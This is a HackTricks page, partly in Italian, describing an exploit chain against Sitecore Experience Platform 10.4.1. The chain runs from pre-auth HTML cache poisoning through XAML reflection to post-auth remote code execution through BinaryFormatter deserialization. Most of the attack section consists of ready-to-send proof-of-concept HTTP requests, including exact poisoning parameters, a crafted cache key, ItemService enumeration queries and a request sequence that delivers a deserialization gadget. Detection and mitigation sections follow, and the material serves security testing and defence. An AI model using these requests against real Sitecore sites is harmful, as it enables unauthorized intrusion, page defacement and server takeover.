Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
 - Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
 - Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
 
Questa pagina riassume una catena di attacco pratica contro Sitecore XP 10.4.1 che pivota da un pre‑auth XAML handler a HTML cache poisoning e, tramite un authenticated UI flow, a RCE tramite BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti simili di Sitecore e forniscono primitive concrete per testare, rilevare e rinforzare.
- Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
 - Risolto in: KB1003667, KB1003734 (giugno/luglio 2025)
 
Vedi anche:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Il punto di ingresso è il pre‑auth XAML handler registrato in web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Accessibile tramite:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi controllati dall'attaccante e invoca riflessivamente metodi sui controlli mirati:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Osservazione chiave: la pagina XAML include un'istanza XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), la quale applica l'allow‑list di ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.
Metodo magico per il poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Poiché possiamo indirizzare xmlcontrol:GlobalHeader e chiamare i metodi di Sitecore.Web.UI.WebControl per nome, otteniamo una pre‑auth arbitrary HtmlCache write primitive.
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Note:
- __SOURCE è il clientID di xmlcontrol:GlobalHeader all'interno di Sitecore.Shell.Xaml.WebControl (comunemente stabile come ctl00_ctl00_ctl05_ctl03 poiché deriva da XAML statico).
 - Il formato di __PARAMETERS è Method("arg1","arg2").
 
Cosa avvelenare: costruzione della chiave della cache
Tipica costruzione della chiave HtmlCache usata dai controlli Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Esempio di targeted poisoning per un sublayout noto:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerazione degli elementi cacheabili e delle dimensioni “vary by”
Se ItemService è (in)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.
Prova rapida:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Elenca gli elementi memorizzabili nella cache e i flag:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Cerca campi come Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. I nomi dei dispositivi possono essere enumerati tramite:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Anche quando ItemService impersona un account limitato (e.g., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere i hit Solr pre-ACL. Puoi brute-force item groups/ids con wildcard e osservare TotalCount convergere per mappare contenuti e dispositivi interni:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Accessibile tramite lo step della pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e decodifica in base64 + deserializza il valore, quindi inietta la stringa risultante nell'HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Trigger (autenticato, diritti Content Editor). La dialog FixHtml chiama convertToRuntimeHtml. End-to-end senza clic sull'UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Catena completa
- Pre‑auth attacker avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
 - L'HTML avvelenato serve JavaScript che spinge un Content Editor autenticato attraverso il flusso FixHtml.
 - La pagina FixHtml attiva convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE sotto l'identità dell'app pool di Sitecore.
 
Rilevamento
- Pre‑auth XAML: richieste a 
/-/xaml/Sitecore.Shell.Xaml.WebControlcon__ISEVENT=1,__SOURCEsospetto e__PARAMETERS=AddToCache(...). - ItemService probing: picchi di query wildcard a 
/sitecore/api/ssc, grandeTotalCountconResultsvuoti. - Deserialization attempts: 
EditHtml.aspxseguito daFixHtml.aspx?hdl=...e base64 insolitamente grande nei campi HTML. 
Mitigazioni
- Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare i handler XAML pre‑auth o aggiungere validazione stretta; monitorare e rate‑limitare 
/-/xaml/. - Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o imporre forte validazione server‑side dei flussi di editing HTML.
 - Restringere 
/sitecore/api/sscal loopback o a ruoli autenticati; evitare pattern di impersonation che creano side channel basati suTotalCount. - Applicare MFA/minimi privilegi per gli utenti Content Editor; rivedere CSP per ridurre l'impatto del JS steering da cache poisoning.
 
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
 - Sitecore KB1003667 – Security patch
 - Sitecore KB1003734 – Security patch
 
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
 - Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
 - Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
 
HackTricks